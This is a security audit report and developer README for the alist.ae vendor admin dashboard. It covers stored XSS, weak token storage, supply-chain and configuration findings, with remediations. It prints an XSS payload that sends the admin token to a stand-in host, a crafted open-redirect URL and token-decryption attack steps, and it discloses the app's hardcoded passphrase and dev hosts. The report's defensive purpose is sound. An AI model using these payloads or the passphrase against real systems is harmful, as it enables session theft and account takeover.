Next.js 15 admin/vendor dashboard for alist.ae. Pure client-side SPA against an external PHP/Laravel REST API; the Bitbucket "php" tag is misleading.
localStorage and a non-HttpOnly cookie. Middleware checks presence only, not validity.dangerouslySetInnerHTML sinks render unsanitized API fields (offer/campaign descriptions, reject reasons, review bodies, rule_1..3) into the privileged admin origin..env: file is tracked despite being in .gitignore. Currently only points at dev hosts and only contains NEXT_PUBLIC_* vars, so no immediate secret leak — but the pattern is wrong.| Category | Technology | Version | Notes |
|---|---|---|---|
| Framework | Next.js (App Router) | 15.3.3 | Behind the patched 15.3.x/15.5.x line at audit date; no SCA. App API routes unused. |
| UI runtime | React | ^19.0.0 | Resolves 19.1.0 in lockfile; most pages are client components. |
| Language | TypeScript | ^5 | Strict mode on; ~55 any annotations remain. |
| Styling | Tailwind CSS + PostCSS | ^4 | No shadcn / no design tokens / no theme file. Lots of inline px values. |
| State | @reduxjs/toolkit + redux-saga | 2.8 / 1.3 | thunk: false; sagas are mandatory for async. |
| HTTP | axios | ^1.11.0 | Single instance in services/apiHelper.tsx; no max body/content length set. |
| Charts | d3 | ^7.9.0 | Custom components, no chart lib. |
| Auth crypto | crypto-js | ^4.2.0 | AES with a hardcoded passphrase (see findings). |
| UI primitives | @headlessui/react, swiper, react-hot-toast | 2.2 / 12 / 2.6 | swiper / date-fns / react-hot-toast are missing from the lockfile (see AV-05). |
| Fonts | @fontsource/poppins | ^5.2.6 | CSS-imported in layout.tsx; next/font not used. |
| Analytics | Google Tag Manager + 3× gtag | — | Four inline scripts in root layout.tsx. |
| Tests | — | — | No test runner, no test files, no coverage. |
| CI/CD | — | — | No .github/, no bitbucket-pipelines.yml, no Dockerfile. |
Single-page admin dashboard. Every route is a client component that dispatches Redux actions; sagas handle async via a shared axios instance pointed at NEXT_PUBLIC_API_BASE_URL (currently https://dev-partners.alist.ae/api). The Next.js server only renders the shell and runs middleware.ts, which gates routes on the presence of a token cookie (no token validation). There are zero API routes and zero server actions in this codebase — the backend lives elsewhere.
This is a white-box static security review of the alist-vendors source tree, grounded in the anthropic-cybersecurity-skills playbook library. Each finding was produced by parallel OWASP/CWE-mapped dimension scans, then adversarially verified by reading every cited file and line before assigning severity, CVSS 3.1 vectors, and confidence. Overlapping scanner hits were merged into single canonical findings; unverifiable scanner claims (notably an asserted CVSS-10 RSC RCE) were downgraded or rejected.
testing-for-xss-vulnerabilities exploiting-prototype-pollution-in-javascript testing-for-open-redirect-vulnerabilities implementing-secret-scanning-with-gitleaks testing-for-sensitive-data-exposure performing-cryptographic-audit-of-application testing-jwt-token-security testing-api-authentication-weaknesses testing-oauth2-implementation-flaws performing-sca-dependency-scanning-with-snyk analyzing-sbom-for-supply-chain-vulnerabilities detecting-supply-chain-attacks-in-ci-cd prioritizing-vulnerabilities-with-cvss-scoring testing-cors-misconfiguration testing-for-host-header-injection
alist-vendors is a Next.js 15 admin dashboard whose authentication and output-encoding posture is broken by design, producing a directly exploitable account-takeover chain. Eight live, unsanitized dangerouslySetInnerHTML sinks render attacker-controllable API content (campaign/offer descriptions, content rules, and consumer-submitted review comments) into the privileged admin origin, while the session bearer token and full PII user object are stored in JS-readable localStorage and a non-HttpOnly cookie, "encrypted" only with a passphrase (al123@st678$ven) that ships in the public bundle — so any of those XSS sinks yields a decryptable, replayable admin token. There is no Content-Security-Policy, no security headers, no token validation in middleware (presence-only), no CI/SCA/secret scanning, ESLint is disabled at build, and the lockfile is so stale that npm ci fails and forces unpinned build-time dependency resolution. Secondary weaknesses (client-side-only PIN gate on KYC downloads, a ~21-day idle timeout, incomplete logout teardown, dev backend URLs baked into the bundle, an open redirect) broaden the exposure. A low-privilege or even unauthenticated content submitter can plausibly achieve stored XSS in an admin session and steal a live admin token against dev-partners.alist.ae.
| Category | Status | Notes |
|---|---|---|
| A01:2021 Broken Access Control | Vuln | AV-04 presence-only middleware gate; AV-08 client-side-only PIN on KYC downloads; AV-12 post-login open redirect. |
| A02:2021 Cryptographic Failures | Vuln | AV-02 token + PII "encrypted" with a hardcoded passphrase shipped in the bundle; zero confidentiality at rest. |
| A03:2021 Injection | Vuln | AV-01 eight live unsanitized dangerouslySetInnerHTML stored-XSS sinks rendering API content into the admin origin. |
| A04:2021 Insecure Design | Partial | Pure-SPA-against-external-API design with client-side-only auth/PIN gates and security-theatre encryption is an insecure-by-design pattern; addressed via BFF in AV-02/AV-04/AV-08 remediations. |
| A05:2021 Security Misconfiguration | Vuln | AV-03 no CSP/HSTS/X-Frame-Options/Referrer-Policy (clickjackable); AV-07 ESLint disabled, no CI; AV-11 committed dev .env; AV-13 unconditional 3rd-party trackers. |
| A06:2021 Vulnerable and Outdated Components | Vuln | AV-06 next 15.3.3 / react 19.1.0 / axios 1.11.0 behind patched lines with no SCA; scanner's CVSS-10 RSC RCE could not be corroborated and is downgraded to theoretical. |
| A07:2021 Identification and Authentication Failures | Vuln | AV-09 ~21-day idle timeout; AV-10 incomplete logout teardown (residual PII + persistent axios Authorization header). |
| A08:2021 Software and Data Integrity Failures | Vuln | AV-05 stale lockfile breaks npm ci and forces unpinned build-time dependency resolution; no integrity gate. |
| A09:2021 Security Logging and Monitoring Failures | Partial | AV-07 folds in production console logging of full API responses and AxiosError (potential Bearer-header leak); no monitoring exists, but as a pure SPA most logging is server-side/out of scope. |
| A10:2021 Server-Side Request Forgery | N/A | No server-side request construction in this repo; all fetches are client-side axios to a fixed backend host. No SSRF surface. |
Eight live application sinks (campaign Overview x3, CampaignGuidlines rule_1..3, dedicated-offer Overview x3, and campaign Reviews) render string fields straight from the external Laravel API into the DOM via dangerouslySetInnerHTML with no sanitization. The data is stored verbatim from response.data.data in the sagas. React's JSX auto-escaping is explicitly bypassed. There is no DOMPurify/sanitize-html in the repo and no Content-Security-Policy as a second layer. The review-comment sink (Review.tsx:35) is the most accessible: comments are consumer/creator-authored and likely require no admin privilege to plant, while the campaign/offer fields are vendor-authored. A DedicatedOfferGuidelines.tsx component contains two more identical sinks but is currently dead code (commented out at Overview.tsx:8,83-85) — it would reintroduce the bug if re-enabled.
<img src=x onerror=fetch('https://evil/?t='+localStorage.token)>. When admin staff open the campaign's Reviews/Overview tab, the script runs in the admin origin, reads localStorage['token'], decrypts it with the bundled passphrase, exfiltrates it, and the attacker replays the Bearer token against the admin API.Arbitrary JavaScript executes in the alist.ae admin/staff origin when staff open a malicious campaign, offer, or its reviews. Because the auth bearer token lives in non-HttpOnly localStorage['token'] and a non-HttpOnly cookie, AES-wrapped with a passphrase (al123@st678$ven) that ships in the client bundle (AV-02), the payload can read and decrypt the token and the localStorage['user'] PII blob in one step and impersonate the admin against dev-partners.alist.ae/api/* (approve/reject content, read all vendor PII, manage team). Scope is Changed: lower-trust vendor/consumer content compromises the higher-privilege admin context.
isomorphic-dompurify and wrap every dangerouslySetInnerHTML in DOMPurify.sanitize() with a restrictive allow-list, or render as plain text where rich formatting is unneeded (reviews almost certainly do not need HTML). Sanitize/validate these fields server-side in the backend repo too. Add a strict CSP (script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none') via next.config headers() as defense-in-depth, and move the token out of JS-readable storage (AV-02). Delete or neutralize the dormant DedicatedOfferGuidelines sinks.Merged four scanner XSS findings into one canonical sink-family entry; all sinks verified by reading each file. Severity set to P0/CVSS 9.0 reflecting the review-comment PR:N path. DedicatedOfferGuidelines confirmed dead code (import and usage both inside the commented block) so it is documented as latent, not counted as a live sink. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
After OTP login the bearer token is written to BOTH localStorage['token'] and document.cookie with only path+max-age (no HttpOnly, Secure, or SameSite), and the entire PII Account object is written to localStorage['user']. Both blobs are CryptoJS.AES-"encrypted" with the symmetric passphrase 'al123@st678$ven', hardcoded as a literal in four source files that all compile into the public client bundle. Because the decryption key travels with the ciphertext (shipped to every browser), this is obfuscation, not encryption — anyone with the bundle, devtools, or an XSS foothold can decrypt the token and PII in one line. CryptoJS's OpenSSL EVP_BytesToKey (single-pass MD5) KDF is additionally weak, but that is moot. The non-HttpOnly cookie cannot be protected by JS-set cookies by construction; the missing Secure flag risks plaintext exposure on HTTP downgrade; missing SameSite is a latent CSRF surface.
localStorage['token'] and ['user'], runs CryptoJS.AES.decrypt with the publicly-known passphrase, recovers a valid Bearer token plus the previous admin's email/phone, and replays the token against dev-partners.alist.ae/api.Any client-side script execution (the XSS sinks in AV-01, a malicious dependency from AV-05, a hijacked Google tag, or a browser extension) yields immediate full session theft plus admin PII (name, email, phone). A stolen token grants full API access as the victim admin/vendor for the token lifetime. The client-side "encryption" provides zero confidentiality. The duplicated literal also makes rotation error-prone (must change four files) and is a committed secret to be retired.
HttpOnly; Secure; SameSite=Strict cookie set by the backend (or a thin Next.js Route Handler / BFF that proxies /api/verify-otp), and delete the localStorage token and user copies. Do not persist PII client-side; keep it in in-memory Redux and refetch after auth. Remove the secretPass literal from all four files and treat al123@st678$ven as a compromised value to retire across the codebase. Rotate tokens in circulation.Merged five scanner findings (client_secrets token-storage, hardcoded passphrase x2, PII-in-localStorage, auth_token cookie-flags) into one canonical at-rest-credential finding. All four duplicate literals and the cookie-set line verified. Elevated to P0 because it is the direct token-theft enabler that turns AV-01 XSS into full account takeover. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
The committed package-lock.json predates several package.json edits. Three runtime dependencies the app imports (swiper, date-fns, react-hot-toast) are entirely missing from the lockfile, and three more (@headlessui/react, @reduxjs/toolkit, sharp) disagree between manifest and lock. As a result npm ci (the reproducible-build command) will fail with a lock-mismatch error, forcing operators to npm install, which silently resolves the missing/floating packages from the live public registry at build time against caret ranges with no integrity pin. Whatever the registry serves at install time ships — including any future malicious/compromised release satisfying ^12/^4/^2.6. With no .npmrc, dependency-confusion / hijacked-release scenarios for these names would be pulled without warning, and there is no CI/SCA gate.
npm install because npm ci fails on the lock drift; npm pulls the latest swiper/date-fns/react-hot-toast satisfying the caret range. An attacker who has published a malicious patch of one of these (or compromised a maintainer) gets their code into the production admin bundle, exfiltrating the decryptable bearer token from every admin session.Non-reproducible, non-deterministic builds; broken npm ci; and a build-time integrity gap. An attacker compromising one of the unpinned package names (or a transitive dep) injects code into the admin dashboard bundle, which runs in privileged admin browsers holding live bearer tokens for the A-List backend — yielding token theft / full admin-session compromise.
npm install once to regenerate package-lock.json so it matches package.json, commit it, and switch CI to npm ci. Add an .npmrc pinning the registry and preventing public-registry fallback for any private scopes. Add a lockfile-lint / npm-ci-must-pass gate and an SCA scanner so future manifest edits without a lock refresh are caught.Verified the three absent packages and the three drifted versions directly from package-lock.json. CVSS AC:H reflects the dependency on an attacker first compromising a package; kept P1 given the privileged blast radius and absence of any CI/SCA control. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N.
The app ships with framework-default headers: no Content-Security-Policy, no X-Frame-Options / frame-ancestors, no HSTS, no X-Content-Type-Options, no Referrer-Policy, no Permissions-Policy. With eight live unsanitized HTML sinks (AV-01) there is zero second layer against XSS — injected inline scripts and event handlers execute unconstrained and can exfiltrate to any origin. Absence of frame-ancestors/X-Frame-Options leaves all authenticated routes (/dashboard, /admin/team, campaign approvals/deletes) embeddable in an attacker iframe for clickjacking against state-changing admin actions. Missing Referrer-Policy leaks admin deep-link URLs (brand/account/campaign IDs) to the four Google tracker origins and any external link. Missing HSTS permits TLS-stripping on the admin surface.
/admin/team on a lookalike page and overlays a transparent "Remove member" button over a decoy, harvesting clicks from a logged-in admin.Removes the single most effective mitigation against the AV-01 XSS sinks: a strict script-src would block inline/event-handler execution and external exfiltration, downgrading several P0 chains. Clickjacking enables tricking authenticated admins into approvals/deletes/team changes. Sensitive admin URLs leak to advertising trackers.
headers() block in next.config.ts for source '/(.*)' emitting: Content-Security-Policy (default-src 'self'; connect-src 'self' https://dev-partners.alist.ae; script-src with nonces/hashes for the gtag blocks; object-src 'none'; base-uri 'none'; frame-ancestors 'none'), Strict-Transport-Security: max-age=63072000; includeSubDomains; preload, X-Frame-Options: DENY, X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, and a restrictive Permissions-Policy. Refactor the four inline gtag scripts (layout.tsx:32-97) to nonce-based or external scripts so a strict CSP can be adopted.Merged the two xss_clientside CSP findings, the misconfig "no security headers" finding, and the standalone clickjacking finding into one canonical headers-hardening entry. Verified by grep returning zero header config in source and no deploy manifest to set them elsewhere. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N.
middleware.ts gates all non-/login, non-static routes solely on the existence of a non-empty 'token' cookie. It does not (and cannot, given the blob) validate the token. Any value — document.cookie='token=x' typed in devtools, an expired or revoked token, or a garbage string — passes the gate and renders the full authenticated SPA shell, layout, and client logic. Real authorization is enforced only downstream when the external API returns 401 on the first XHR (the axios interceptor then redirects), but protected pages and their bootstrapping render before/independently of that round-trip.
document.cookie='token=anything' in the browser console, navigates to /dashboard or /admin/team, and the middleware lets the full dashboard shell render; combined with any client-rendered constant or pre-fetched cache this discloses internal structure before the first API 401.The authentication gate is trivially satisfiable with an arbitrary cookie value; expired/revoked tokens still pass routing. Protected client pages render without any real auth assertion, exposing UI structure, embedded constants, and client logic. Security depends entirely on the backend rejecting the Bearer header, not on the gate.
jose). Ensure every data fetch remains independently authorized server-side (it is, via Bearer). Do not render sensitive data before the API confirms the session.Confirmed by reading middleware.ts in full. Kept P1: real data is API-gated by Bearer, so impact is bounded to UI/structure disclosure and gate-bypass rather than data theft, but presence-only gating of an admin app is a genuine broken-access-control weakness. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
The app pins next@15.3.3 and resolves react/react-dom@19.1.0 and axios@1.11.0, all behind their current patched release lines, with no dependency-scanning or patch process. The scanner asserted these versions are affected by a "React2Shell" CVSS-10 unauthenticated RSC-deserialization RCE cluster (CVE-2025-55182/-55183/-55184/-66478/-67779) and by next CVE-2025-49005 and axios CVE-2025-58754. I could NOT corroborate the existence/severity of the cited next/react RCE CVE identifiers, and the scanner itself rated the RCE "likely" while admitting the deployment model is undocumented; I therefore do not assert an unauthenticated RCE. What is verifiable and material: the app runs an SSR/Node runtime (server components + middleware confirmed), is several patch versions behind on a security-relevant framework, ships no SCA, and the axios instance is unbounded (no maxContentLength), exposing a browser-side memory-exhaustion DoS if the upstream API is malicious/compromised.
Running a security-relevant framework patch-behind with no SCA means any genuinely-disclosed Next.js/React/axios CVE in these ranges goes unpatched and unnoticed. Concretely verifiable today: unbounded axios responses can exhaust the admin browser tab (self-DoS) if the backend is compromised/MITM'd. If any of the asserted RSC CVEs are real and the app is deployed as a running Node server, the worst case is server-side RCE — but that worst case is unverified here.
>= 1.12.0; regenerate the lockfile and re-run npm audit. Set explicit maxContentLength/maxBodyLength on the shared axios instance. Stand up scheduled SCA (npm audit --audit-level=high / Snyk) in CI so newly-disclosed CVEs in these ranges are surfaced and patched. If no SSR features are required, consider a static export to remove the server attack surface.DOWNGRADED from the scanner's P0/CVSS-10. The version pins are real and verified, but I could not corroborate the cited "React2Shell" RCE CVE identifiers (CVE-2025-55182 etc.) or their CVSS 10.0 claims, and the scanner's own confidence was "likely" with an undocumented deployment. Reframed as a confirmed patch-lag/no-SCA hygiene finding (P2) with the axios unbounded-response DoS (CVE-2025-58754, the one verifiable low-impact item) folded in; the RCE remains theoretical pending CVE corroboration and a confirmed running-server deployment. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L.
There is no automated build/test/security pipeline of any kind: no GitHub Actions, no Bitbucket Pipelines, no Jenkins. Consequently there is no SCA, no secret scanning, no SAST, and no lockfile-integrity gate — exactly the controls that would have caught AV-05's lock drift and AV-06's patch lag. The one quality control present is defeated: eslint.ignoreDuringBuilds:true means next/core-web-vitals lint (which flags dangerouslySetInnerHTML) never blocks a build. Production console logging compounds this: commonService.postData logs the full Axios response on every POST and the full AxiosError (including request config/headers, potentially the Authorization Bearer header) on failure, and Next.js does not strip console.* by default.
Vulnerable dependencies, leaked secrets, code-quality regressions, and the XSS/auth findings can ship to the admin dashboard undetected because no automated gate exists. Disabled lint removes the last static guardrail. Console logging of API responses and AxiosError objects leaks internal/PII-bearing data and potentially the Bearer header to anyone with the admin's devtools or a malicious browser extension/RUM tool.
npm ci (fails on lock drift), npm audit --audit-level=high or Snyk, a secret scanner (gitleaks/trufflehog per the org playbook), and next lint as a blocking step. Remove eslint.ignoreDuringBuilds (or scope it to local dev). Remove debug console.log/error of response and AxiosError objects; add compiler.removeConsole (keeping only console.error) in next.config.ts and never log AxiosError objects that may carry request headers.Merged the supply_chain governance finding with the production-console-logging finding (both are "no guardrails" issues). Verified absence of all CI/deploy files, the eslint flag, the two commonService console.log lines, and the 18-statement console count. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
Downloading sensitive brand KYC documents (trade license / VAT certificate) is gated by a PIN modal: window.open(API_BASE_URL/fileToDownload) is called only after the Redux flag pinValidationSuccess flips true. This is a purely client-side authorization decision — the protected resource is a direct GET against the Laravel backend at a path the client already holds (fileToDownload) before the PIN is entered. If the backend serves the file on a valid Bearer token without independently binding the PIN authorization to that specific file, any authenticated user can open the URL directly (devtools/network tab/curl) and bypass the PIN entirely.
fileToDownload from React state / network tab, and curls https://dev-partners.alist.ae/api/<fileToDownload> with their Bearer token, retrieving the trade license without ever submitting a PIN.If the backend does not bind the PIN check to the file resource, sensitive KYC PII documents are downloadable by any authenticated user, defeating the intended step-up control. Confidence is "likely" because the backend is out of scope for this static review; the client code unambiguously shows the gate is client-enforced and the URL is pre-known.
/api/validate/pin issue a short-lived, file-scoped capability token or signed URL, and make the file endpoint reject direct access without it. Never rely on a client-side boolean to guard a directly addressable backend resource.Confirmed the client-side gate and pre-known URL by reading BrandDetails.tsx:173-189 and the PIN exclusion in apiHelper.tsx:36. Kept "likely" — server-side enforcement cannot be verified from this repo. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
The idle-logout hook is configured with idleTime = 1,800,000,000 ms ≈ 20.8 days, almost certainly a typo for 1,800,000 ms (30 minutes). As written the auto-logout never fires within any realistic session, so an abandoned admin tab stays live for weeks of inactivity. Because the token is rehydrated from localStorage on each mount (AuthInitializer.tsx:33) until the API 401s, the 24h cookie max-age does not bound the actual session either.
Abandoned/unlocked workstations keep a privileged admin session usable for weeks, widening the window for session hijack on shared/kiosk machines and via shoulder-surfing, and defeating the intended idle-timeout control. AV:P reflects that the primary exploit path is physical access to an unattended logged-in machine.
1_800_000 ms (30 min) as a named constant with a comment to prevent regression, and add an absolute session lifetime. Bind effective session lifetime to a short server-side token TTL with a refresh flow; do not silently rehydrate a possibly long-lived token from localStorage.Confirmed the literal 1800000000 at DashboardShell.tsx:47 and the setTimeout usage in useIdleTimeout.ts. CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
The Redux logout reducer clears the token cookie and localStorage['token'] but (a) leaves the encrypted user object in localStorage['user'] — decryptable with the public passphrase (AV-02), disclosing the admin's name, email, phone, country, account type and IDs to the next user of the browser — and (b) does not delete the axios default Authorization header (only setAuthToken(null) does, and the UI logout dispatches the reducer instead). The Bearer header therefore remains set in memory after a UI logout until a full page reload, so any request issued before reload still carries the old token.
localStorage['user'], decrypts it with the bundled passphrase, and obtains the previous admin's email and phone; separately, code running before a reload still sends the old Bearer token.Residual PII persists in localStorage across logout on shared machines, and the live axios instance keeps sending the old Bearer token after logout until reload, weakening logout as a security control.
setAuthToken(null) (clears the Authorization header) AND localStorage.removeItem('user') in addition to clearing the token and cookie, then force a navigation/hard reload so no stale in-memory token remains. Centralize logout so every entry point performs the same full teardown.Confirmed the partial teardown by reading authSlice.ts:65-72 (no user removal, no setAuthToken), the two logout dispatch sites in DashboardShell.tsx, and that only setAuthToken(null) deletes the axios header. CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
The admin/vendor dashboard loads four Google advertising/analytics containers unconditionally in the root layout, including on /login, with no consent mechanism. The tag IDs themselves are public-by-design and not secrets. The real issues are: (1) mutable third-party JavaScript executes with full DOM and credential (token) access on an authenticated admin surface — a hijack of any of the four Google tag containers runs attacker JS in every admin session and can read the script-accessible token (AV-02); (2) the four inline gtag/GTM bootstrap blocks (dangerouslySetInnerHTML) force any future CSP to permit inline script, weakening the AV-03 CSP remediation; (3) admin deep-link URLs containing brand/account/campaign IDs leak to advertising trackers without consent (privacy/PECR/GDPR).
localStorage['token'], decrypts it with the bundled passphrase (AV-02), and exfiltrates it.Supply-chain risk: compromise of a Google tag container executes attacker JS in every admin session with access to the decryptable token. Privacy: admin identifiers exfiltrated to advertising pixels without consent. Hardening: inline analytics blocks obstruct adoption of a strict CSP.
next/script external scripts so a strict CSP (AV-03) can be adopted, and constrain third-party origins via CSP script-src/connect-src allowlists.Confirmed the four external tags and four inline gtag blocks in layout.tsx:32-97. The GA/Ads/GTM IDs are not secrets (a separate scanner finding correctly rated that informational and is rejected); the genuine residual risk is the 3rd-party-script supply chain + inline-script-vs-CSP, captured here. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N.
The repo commits a .env (overriding its own .gitignore '.env*' rule) whose default values all point at development/staging infrastructure, and because they are NEXT_PUBLIC_ they are baked into the client bundle at build time. With no per-stage override convention, a production build that forgets to override these ships an admin dashboard wired to dev-partners.alist.ae and development-* hosts. The campaign-request page compounds this with a hostname ternary whose else-branch silently falls back to the development-business form for any host other than the single literal 'partners.alist.ae'. The committed values contain no secrets, but the tracked-.env pattern means any future server-side secret added to this file would be committed and pushed automatically.
Production admins could unknowingly authenticate/submit against dev/staging backends (data integrity/leakage between environments), the campaign-request iframe defaults to the dev form on any non-canonical host, and dev/staging hostnames are disclosed in source history aiding recon. The main forward risk is that the tracked-.env habit leaks a real credential the moment one is added.
git rm --cached .env and commit; add a .env.example with placeholder values only; confirm .gitignore '.env*' is honored. Establish per-environment config (.env.production / deployment env vars) and require NEXT_PUBLIC_API_BASE_URL to be set explicitly at build. Replace the hostname ternary in campaign-request/page.tsx with an explicit NEXT_PUBLIC_CAMPAIGN_FORM_URL and drop the dev default. Add a gitleaks pre-commit hook + CI secret scan so any future real secret in an env file is blocked.Merged the three duplicate .env findings (client_secrets, auth_token, misconfig) into one canonical config-hygiene entry and folded in the campaign-request dev-fallback (verified at page.tsx:11-17). Confirmed .env tracking, history, contents, and absence of any real secret. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.
On successful login, LoginComponent reads the 'redirectedFrom' and 'redirect' query params and, when redirectedFrom === 'admin', navigates to redirect via router.push(redirectUrl) with no validation that the destination is a relative/same-origin path. Although middleware normally sets these from an internal pathname, both are fully attacker-controllable in a crafted login URL (e.g. /login?redirectedFrom=admin&redirect=https://evil.example). There is no allow-list, leading-slash check, or host comparison. router.push of an absolute cross-origin URL is environment-dependent and javascript: is not executed by router.push, hence 'likely' not 'confirmed'.
https://partners.alist.ae/login?redirectedFrom=admin&redirect=https://evil.example/phish; after the victim logs in, the app navigates them to the attacker page, which mimics alist.ae to harvest further credentials or actions.An attacker can craft a partners.alist.ae login link that, after the victim authenticates, redirects to an attacker-influenced destination — useful for phishing continuity (victim trusts the alist.ae origin) and referrer leakage. Bounded because it fires only post-authentication and Next router semantics limit classic off-site redirects.
router.push(redirectUrl), validate that redirectUrl is a relative same-origin path: require a single leading slash (reject //, backslashes, and any scheme), or resolve against window.location.origin and confirm the resolved origin matches. Prefer an indirect reference map of allowed internal destinations instead of echoing a raw query-string URL.Merged the two duplicate open-redirect findings (xss_clientside + auth_token). Confirmed the unvalidated router.push at LoginComponent.tsx:36-37. Kept 'likely'/P3 because Next router.push behavior bounds the off-site impact. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N.
For audit integrity, the following raw scanner findings were adversarially reviewed and NOT carried as confirmed vulnerabilities. They are recorded here so the CEO and the new consultant can see what was deliberately excluded and why.
1. "React2Shell" RCE family (claimed P0/CVSS-10). The cited identifiers CVE-2025-55182/-55183/-55184/-66478/-67779 against next@15.3.3 + react/react-dom@19.1.0 could not be corroborated; the scanner itself rated it "likely" with an undocumented deployment model. The version pins are real (verified in the lockfile) so the patch-lag is captured as AV-06 (P2); the unauthenticated RCE remains theoretical pending CVE corroboration and a confirmed running-Node deployment.
2. next CVE-2025-49005 (RSC content-injection / cache poisoning). Could not corroborate; low-severity (CVSS ~3.7), deployment-dependent (CDN cache-key), and remediated by the same Next upgrade. Folded into AV-06 rather than asserted as a distinct CVE.
3. Hardcoded GA4/Ads/GTM container IDs (informational). Correctly self-described as informational: those IDs are public-by-design and confer no read/write access. The genuine residual risk (third-party script supply chain + inline-script-vs-CSP + consent) is captured in AV-13; the IDs themselves are not a vulnerability.
isomorphic-dompurify and wrap (or plain-text) every dangerouslySetInnerHTML sink; delete the dormant DedicatedOfferGuidelines sinks (AV-01).HttpOnly; Secure; SameSite=Strict cookie and delete the localStorage token/user copies. Treat al123@st678$ven as compromised and rotate tokens in circulation (AV-02).1_800_000 ms (AV-09) — one-line, high-value change.package-lock.json with npm install, commit it, and switch to npm ci; add an .npmrc registry pin (AV-05).next.config.ts headers() (AV-03).setAuthToken(null) + localStorage.removeItem('user') and force a hard reload (AV-10).npm ci, npm audit --audit-level=high / Snyk, gitleaks/trufflehog, and next lint as blocking steps; remove eslint.ignoreDuringBuilds (AV-07).maxContentLength/maxBodyLength, re-run npm audit (AV-06).jose) or document it as UX-only (AV-04).next/script so the strict CSP holds (AV-13).git rm --cached .env, add .env.example, adopt per-stage config, and replace the campaign-request hostname ternary with an explicit env var (AV-11).router.push redirect (AV-12).console.* logging of API responses / AxiosError objects via compiler.removeConsole (AV-07).any annotations and several error: any catches mask runtime bugs. serializableCheck: false in store.ts means non-serializable values can slip into Redux undetected.__tests__ dirs, no *.test.* files. Estimated coverage: 0%.next/core-web-vitals and next/typescript, but eslint.ignoreDuringBuilds: true in next.config.ts means it never fails CI/CD. Run manually with npm run lint.package-lock.json is stale (three deps missing, three drifted) so npm ci fails — see AV-05/AV-06.BrandFilesModal and BrandDetails both build download URLs the same hand-rolled way.brandSaga.ts (411 LoC, mostly fetch/CRUD), BrandDetails.tsx (467 LoC, mixes form state + PIN modal + file modal + download), DashboardShell.tsx (~340 LoC with duplicated mobile/desktop profile menus).DedicatedOfferStats, the dormant DedicatedOfferGuidelines XSS sinks, the notification.svg icon in DashboardShell). Three TODOs in src/app/(features)/businesses/*.console.log/error/warn calls left in production code (notably commonService.tsx logging full responses and AxiosError objects — see AV-07).<div>s and inline px sizing suggests poor keyboard/screen-reader coverage. No obvious focus management on modals.cd alist-vendors
npm install # NOTE: npm ci currently fails — lockfile is stale (AV-05)
npm run dev # http://localhost:3000 → /login
# log in requires reachability to https://dev-partners.alist.ae
NEXT_PUBLIC_API_BASE_URL — backend REST root (currently https://dev-partners.alist.ae/api).NEXT_PUBLIC_CREATE_LINK_URL — link-builder host (currently https://development-creator.alist.ae).NEXT_PUBLIC_IMAGE_URL — CDN/static host for uploads; dynamically appended to images.remotePatterns in next.config.ts.3000 dev/start. No DB, no Redis, no worker.No vercel.json, no Dockerfile, no bitbucket-pipelines.yml, no .github/. The NEXT_PUBLIC_IMAGE_URL plumbing (parsed at config-eval time) implies Vercel-style env injection. Confirm with the team before any deploy attempt. Production likely needs NEXT_PUBLIC_API_BASE_URL repointed away from dev-partners, and there is no place to inject security headers today (see AV-03).
/assets/uploads/... URLs and POST-for-list pattern) lives in a separate repo, ask the team for it.configureStore sets thunk: false. Don't reach for createAsyncThunk.POST /api/list/brands?page=2). Look at brandSaga.ts as the canonical example.axiosInstance (default export) from @/services/apiHelper; authService.tsx uses raw axios on purpose because it must not send the bearer header.window.location.href = "/login", except for /api/validate/pin (used by the secondary PIN modal — note the security caveat in AV-08). Don't catch 401 locally expecting a Redux event; it's gone before that fires.(auth) and (features) are Next.js route groups and don't appear in URLs.@/ alias points to src/ via tsconfig.paths. Use it for everything.next.config.ts. If you add a new <Image> source domain, register it under images.remotePatterns, otherwise it 502s.dangerouslySetInnerHTML in offer/campaign/review screens. Don't render new such fields without first wiring in a sanitizer — these are the AV-01 P0 sinks.package.json:2 says dashboard. Both names refer to the same app.src/data/ are partially live. Grep for the file name before assuming the API drives a screen..env is the de facto example; copy its keys to a local .env.local if you'd rather not edit the tracked file (and remove the tracked one — AV-11).SlideCaptcha.tsx uses picsum.photos as a hardcoded image source and accepts within a 5px tolerance. It's UX theatre, not a real bot defense — don't rely on it.